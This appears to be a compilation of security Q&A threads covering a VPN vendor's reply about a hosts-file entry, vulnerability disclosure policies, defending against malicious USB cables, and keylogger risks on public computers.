check your hosts file (ie: C:\Windows\System32\drivers\etc\hosts). Does it have an entry for taboola?

There are probably other explanations as well. I’d appreciate if you got in touch with us at https://www.expressvpn.com/contact and mention that you’re referring to this post. We can work together to figure out what happened on your machine.

The important take-away, however, is that the ExpressVPN app is NOT doing anything malicious, and has no connection with that domain you saw listed. We take your privacy very seriously.


I work on an open source project. Is there a "standard" to reporting security vulnerabilities that we can use? I work on an (intentionally undisclosed) open source project.  To the best of my knowledge, we do not have a discoverable policy on reporting security vulnerabilities.

Rails has their own policy requesting that security vulnerabilities are not announced to the public; so does PostgreSQL and Oracle, to pick a couple big names.

While we can certainly come up with our own policy for reporting security vulnerabilities in the project I work on, I would prefer to leverage someone else's work.  Is there any kind of open standard that we can follow for our requested procedure to report discovered security vulnerabilities?

Primarily, three philosophies are followed in the industry regarding security vulnerabilities:

Full Disclosure
No disclosure
Responsible Disclosure

In full disclosure the security researcher who discover vulnerabilities openly announce the details of the vulnerability and in most cases a PoC of the exploit is also provided with the disclosure information. This idea was prevalent in the 90s when security researchers used to announce security vulnerabilities on almost daily basis in Windows, Linux, and other software on websites such as Full Disclosure and Bugtraq mailing list.

The second philosophy is that of no disclosure. For example, in case of patch Tuesday Microsoft releases a lot of fixes for the vulnerabilities you don't know anything about other than a short description. This philosophy is usually followed by private security researchers working in collaboration with the software vendor. It is also followed by the internal security/QA team of the vendor.

The third and most widespread philosophy followed nowadays is the responsible disclosure policy. Here, the security researcher who discover the vulnerability give sufficient time (one month is the bare minimum in most cases) to fix the vulnerability. After that time the security researcher disclose the vulnerability and exploitation details to the public even if the vendor don't patch the security hole. This is called responsible disclosure since the vendor has enough time to provide a patch of the vulnerability and don't expose critical machines to be exploited freely.

You can follow the third option since it is the one followed by most of the security researchers nowadays and provide protection to both the vendor of the software as well as the security researcher and user of the software in ensuring that the vendor will provide a patch for the vulnerability because of the pressure of the impending date of full disclosure.


How we can prevent innocent looking USBNinja (USBHarpoon) attacks? Is there anything we can do across the company to make sure USBNinja and other similar USB cables that looks so real for users can really be mitigated?

USBNinja exploits design-level weaknesses of the USB specification. As such there is no simple technical solution and it is unlikely that one will emerge.

You can attempt to close down your USB using device control solutions, but a) you need a very homogeneous IT environment to be able to do that effectively (i.e. blocking devices based on vendor and product ID) and b) a targeted attack can easily work around these.

You also cause yourself headaches with device control that should not be underestimated. We've just been through this process for a customer, and it took days to find a tight policy that doesn't lock down the entire system (due to the way Windows loads its device drivers, if you block an essential device, your system is toast).

An awareness approach is most likely the one with the highest contribution to resistance, but it will also have holes (guests and visitors, contractors, etc.)

For your most valuable devices, I would seriously consider glueing known-good devices to the system at least so much that any tampering will be visible. Also lock unused USB ports (there are USB locks).

Consider USB locks also for notebooks of critical personel.


What anti-keylogging programs can you use when using a public PCs Are there anti-keylogging programs that can keep you safe while you are using a public PC terminal? Do they exist and what are these? I like to know that I am safe when entering data on a public PC for example from malware or keyloggers, who knows where it has been. Or else, how can I keep my personal data safe when using a public PC?

You can't ever be safe on hardware you don't control.

A hardware keylogger could be mounted inside the chassis where you could not see it, or remove it.
A software keylogger may not be detectable by any app that you could run (if you had enough user privileges to run any app).
Network monitoring and sniffing of your web traffic would be completely undetectable.
In a worst case scenario, the person who controls the machine also controls the root certificates installed on it, meaning they could also read your HTTPS traffic.
Even if you were able to boot from "good" media, e.g. A Tails CD, you would still be vulnerable to #1 and #3 above.

The answers to How Do You Login From An Unsecured Computer? are also very good here.

I would suggest never using a machine you don't trust for anything that requires you to login. If you absolutely have no choice but to do so, hurry to a secure machine and change your passwords immediately afterwards.